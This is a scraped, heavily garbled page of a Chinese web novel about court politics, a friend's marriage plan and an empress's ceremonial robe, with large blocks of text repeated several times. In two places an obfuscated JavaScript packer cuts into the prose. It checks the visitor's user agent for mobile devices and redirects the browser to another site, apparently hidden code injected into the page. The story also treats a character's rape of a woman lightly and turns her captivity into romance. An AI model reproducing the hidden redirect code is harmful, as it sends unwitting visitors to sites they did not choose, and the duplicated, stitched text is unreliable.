“噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 第393章 然后就不兴说呗 胖子边说边比划,边比划边吹牛:“大哥你可不知道啊,前几天那娘们不知道怎么就从城外军营跑了出来,手里拿着匕首半夜潜进我家,趁胖爷睡觉的时候举刀就往裤裆上扎啊。幸亏胖爷反应快,来了找黑虎掏心,这才把她打到一边。 林臻被他说得有些心痒,忙问:“然后呢? “然后?嘿,这娘们胸口重了胖爷一鸡,居然又站了起来,嘴里还喊着什么跟胖爷拼命!胖爷什么脾气四九城里有目共睹,岂会放过她?那娘们举着匕首冲了过来,胖爷一个右鞭腿,一个左正蹬! 胖子连说带比划,不知道的还以为他跟世界武学大师过招呢,最后一脚将书房里的椅子踢飞,回头瞪眼看向林臻:“结果你猜怎么着? “怎么? “没打着! “操。林臻无奈地翻个白眼,“那你叽叽歪歪连比划带踢的。 “你不知道啊,那娘们轻功厉害着呢,也难怪能进我家后院,后来你猜怎么着?胖爷故意卖个破绽,她果然上当!胖爷趁机扣住她的手腕,右手拿过绳子把她给绑了起来!一下就扔到床上去了。 “然后? 完了。 这静澜仙子肯定是喜欢上胖子了。 在后世有个什么斯德哥尔摩综合征,大概意思就是说肉票会因为心里扭曲而爱上绑匪。 但现实中见到,林臻还是第一次。 静澜仙子爱上胖子,这话题怎么听起来这么怪异呢。 林臻说道:“那你怎么想的?总不能天天这么和她胡闹吧? “唉。胖子坐在椅子上长吁短叹,“胖爷也知道遮掩不是办法,奶奶的,天天滚床单神仙也扛不住啊,万一把胖爷弄瘦了怎么办?所以我就和我爹说,想把这姑娘娶进门,谁知道老爷子非但不同意,还赏了胖爷两个大耳刮子,说什么,宁可娶百姓家的闺女,也不能把这个反贼弄回来。然后今天就逼着胖爷去相亲。 以王铁男的性格,这个像是他说出来的话。 老爷子的观念还是很固执啊,静澜仙子虽然以前是江湖杀手,但今天已经从良了,而且又是清清白白的大姑娘,岁数虽然大些,但那也是相对的,后世女孩子二十六七结婚是很正常的事情。 但这种事情林臻没办法管,毕 竟是人家的家世。 你林臻再权倾朝野,也不能给胖子指腹为婚吧?那也太霸道了。 谁知,这时候胖子突然大眼珠子一转,说道:“大哥,求你个事儿。” 林臻一摆手:“千万别说让我去找陛下啊,陛下不会管这种事情的。” “怎么就不管了?只要你说话,陛下肯定会同意的,而且只要陛下下旨,我爹也得同意。静澜仙子挺好的,胖爷就稀罕她!” “那也不行,哪有皇帝为纨绔定婚配的,你又不是驸马。” “嘿,这自古以来的皇帝不都喜欢给别人定亲吗?你少废话,就说帮不帮!” “不帮!” “不帮我他妈就死你家门口!” “你!” 胖子无赖的劲儿又上来了,林臻还真拿他没辙。 死家门口倒是不至于,但天天在府里东摇西晃的也招人烦。 “胖子,你可想好了,万一陛下同意,你可没有反悔的机会。” “想好了,如果一定要娶个娘们回来,就娶静澜仙子,别人胖爷不要。” “行吧行吧,我算是服了你。但你给我记住,这就一次!以后再跟我俩耍无赖看我抽不抽你!” “嘿嘿嘿嘿。”胖子憨笑着站起来,连连给林臻行礼:“就是大哥宠我,您放心,以后我都听你的!孩子生男生女都听你的!” “滚蛋。” 林臻自己一大堆的事情忙不过来,还要给他处理这种鸡毛蒜皮的事情,想想就怄火。 唉,这身边人一个个看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245252|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来都不错,就是没一个能堪大用的。 眼看着就要大婚了,再然后就是过年,自己是不是该定一个新大乾五年计划了? 第二天林臻没去参加早朝。 其实他根本就是闲人一个,除非有特别特别正式的事情才会去上朝当着群臣和所有人的面说出来,否则他还是更喜欢一个人来见慕容嫣。 倒不是贪恋什么,而是两个人在一起能更好地表达事情,不像在金銮殿上那么的郑重。 午后的阳光带着几分慵懒,透过斑驳的宫墙,洒在长长的宫道上。 林臻迈着沉稳的步伐,踏入宫门,值守的太监赶忙迎上前,微微弓着身子,尖细的嗓音带着几分小心翼翼:“世子,今日是陛下沐浴祭祖的日子,此刻正在奉先殿那边呢。” 林臻神色平静,只是微微颔首,算是回应,沿着宫道,向着奉先殿的方向走去。 然后还没等他走到奉先殿门口,就看到一抹夺目的金红色锦缎铺在门槛上。 那一道金红色的锦缎肆意铺陈,在阳光下闪烁着细碎光芒,似流淌的霞光。 林臻不禁停下脚步。 这什么情况?奉先殿里咋还铺上红地毯了? 好奇心驱使之下,他加快步伐走上前去,待看清那拖尾全貌,不由咋舌。 这竟是慕容嫣凤袍的拖尾! 卧槽。只见十几米长的拖尾仿若一条流淌着的金色银河,自殿外汹涌奔腾而入,拖曳在冰冷的砖石地面上,每一寸锦缎都散发着令人眩目的光芒。 这拖尾以最上等的赤金锦缎为底,其上用纯金丝线绣着繁复华丽的图案,首尾相连的凤凰振翅欲飞,它们的身姿蜿蜒盘旋,似要冲破这布料的束缚,翱翔于九天之上。 凤凰的羽翎根根分明,细如发丝的金线在日光下闪烁,勾勒出栩栩如生的层次感。边缘处,细密的珍珠串成流苏,随着慕容嫣的轻微动作相互碰撞,发出清脆悦耳的声响。 第394章 这娘们到底要干什么啊? 每间隔一段距离,便镶嵌着一块温润的红玉,宛如凤凰浴火后落下的赤珠,红得夺目,红得惊心,将凤凰的尊贵与威严彰显得淋漓尽致。 那繁复华丽的锦缎,层层叠叠,绣着金线勾勒的祥瑞图案,从殿外一路蜿蜒,直直拖到殿内供奉着的先帝画像与灵位之前,差不多有十几米长! 这娘们到底要干什么啊?搞这么长的拖尾? 林臻迈步的时候很小心,都怕把这拖尾踩坏了。 心说这尼玛得二十个人拎着,自己都拖不动! 好不容易跨进殿内,林臻又懵了。 只见慕容嫣身上的凤袍,是用千年难寻的云锦织就,质地轻柔如烟,却又挺括有型,紧紧贴合着她曼妙的身姿。 正红色的袍身,红得浓烈而纯粹,仅仅一眼,便能让人心生敬畏。 袍面上,金线绣成的凤凰昂首挺立,它们的身形巨大而矫健,几乎占据了整个前身,双翅展开,仿佛能将天地都纳入怀抱。 凤凰的眼眸以黑珍珠镶嵌而成,深邃有神,周围环绕着五彩祥云,用最细腻的丝线绣制,过渡自然流畅,如梦如幻,更衬得凤凰超凡脱俗,似是从仙界降临凡尘。 而她头上的凤冠,堪称稀世珍宝的汇聚。 主体框架以纯金打造,经过能工巧匠的精心雕琢,呈现出凤凰腾飞的造型,凤尾高高扬起,化作精美的装饰垂落在两侧。 凤喙处,一颗鸽子蛋大小的红宝石熠熠生辉,宛如欲滴的鲜血,散发着摄人心魄的光芒。 冠身镶嵌着密密麻麻的各色宝石,蓝宝石澄澈如深海,祖母绿温润似幽林,黄钻璀璨若骄阳,交相辉映,将凤凰栖于五彩霞光之中的盛景完美复刻。 垂下的珠帘,并非寻常珠串,而是用南海鲛人泪凝成的珍珠串连而成,每一颗都圆润无瑕,散发着柔和的光晕。 珠帘随着慕容嫣的呼吸轻轻晃动,发出细微的沙沙声,恰似凤凰低吟,如梦似幻间,尽显她母仪天下的雍容与尊贵。 此刻,她正端庄地跪在蒲团之上,手中稳稳擎着三炷香,袅袅青烟升腾而起,萦绕在她身侧,仿若为她披上一层薄纱。 她将香虔诚地置于额头前方,双目紧闭,朱唇轻启,念念有词,似是在与殿内的先帝英灵倾诉着什么隐秘心事。 林臻的脚步声在空旷的大殿内回响,慕容嫣却仿若未闻,依旧沉浸在自己的虔诚之中。 直到林臻站定在她身后不远处,轻咳一声,她才缓缓睁开双眼,却并未起身,只是侧目,透过珠帘看向身后之人。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 看来自己赚的那点B钱都让这妮子给挥霍在凤凰上了。 慕容嫣接过麝月递来的暖手炉,坐在凤椅边缘说道:“唉,朕也是没办法,宫里的宫女实在太多了,有很多都是光吃饭不干活,于是朕就想法子给她们找点事情做。比方说这牵拖尾就是个不错的差事嘛。” “理由不错,但我还是不爽。”林臻点点头,心都疼出血了。 这么华丽的拖尾,这么奢华的凤椅。 这得花多少钱啊?果然,有钱后就变坏的不仅仅是男人,也有可能是女帝。 “今天我来,是有个事情找你商量。” “什么事情?夫君自己做主就好了嘛。” “嗐,这不是胖子想结婚嘛,让我来跟你求一道圣旨。” “结婚?他和谁结婚啊?”慕容嫣好像很久没听到八卦了,一双凤目里直冒小星星。 “夫君来了?快和朕一起拜拜。” 拜?得了吧。 你家先祖如果知道咱俩的事儿,估计得气活过来,然后再气死过去。 一大把年纪了,折腾他们犯不上。 林臻指了指这长长的拖尾,说道:“嫣儿,你这未免也太夸张吧?” “才不是呢,你以为朕奢侈到这个地步?” “不然呢?盖住脚面的短裙现在穿不了了吗?” “那倒也不是。” 慕容嫣完成庄重的礼拜后站起身,那一身华丽至极的凤袍如烈烈燃烧的晚霞,顺势在她身侧舒展开来。 她莲步轻移,凤冠上垂下的珠帘相互碰撞,清脆的声响交织着她身上散发的淡淡龙涎香气息:“这边。” 话音未落,只见她素手轻抬,手臂自宽大的凤袍衣袖中缓缓伸出,如同春笋破土,动作轻盈且优雅至极。 她的指尖修长而纤细,指甲上涂着的蔻丹,红得夺目,在微光下闪烁着温润的光泽,成为这庄重画面中的一抹亮色。 手指微微上扬,广袖随之飘动,又在空中绽放,尽显她身为天下之主的雍容与气度。 那扬起的手,看似漫不经心,实则每一个细微的颤动都拿捏精准,仿佛这简单的动作,都经过了千锤百炼,举手投足间皆能让人心生折服,令周围的空气都仿若臣服在她的威严之下,不敢肆意流动。 两人来到一旁的凤椅边坐下。 那凤椅通身以千年沉香木打造而成,木质坚硬致密,泛着深邃而神秘的乌光。 椅背高耸,形如一只展翅欲飞的凤凰,凤首昂然向天,双眸以璀璨的蓝宝石镶嵌,无论从何处望去,都似被那目光凝视,令人心生震慑。 凤喙微微张开,尖锐而锋利,口含一颗晶莹剔透的南海珍珠,圆润的光泽与冷硬的凤喙相映成趣,尽显尊贵奢华。 椅身宽大,足够容纳数人同坐,两侧扶手精雕细琢,同样呈现凤凰之形,凤尾飘逸,化作蜿蜒的装饰,沿着扶手一路向下,每一片羽翎都清晰可辨,以金丝勾勒边缘,再镶嵌上细碎的各色宝石,红得如火,绿似深潭,蓝像苍穹,在微光的映照下闪烁不停,仿若凤凰抖落的一身五彩霞光。 坐垫选用的是最上等的雪貂皮,毛色纯白如雪,柔软顺滑得如同刚下的新雪,触感极佳,不仅隔绝了殿内的寒意,更给这尊荣之位添上几分奢靡之感。 椅腿粗壮结实,呈四方柱状稳稳立地,腿部同样雕刻有繁复的图案。 虽然如此华丽,但这个大小怎么看怎么像罗汉床。 林臻砸吧砸吧嘴。 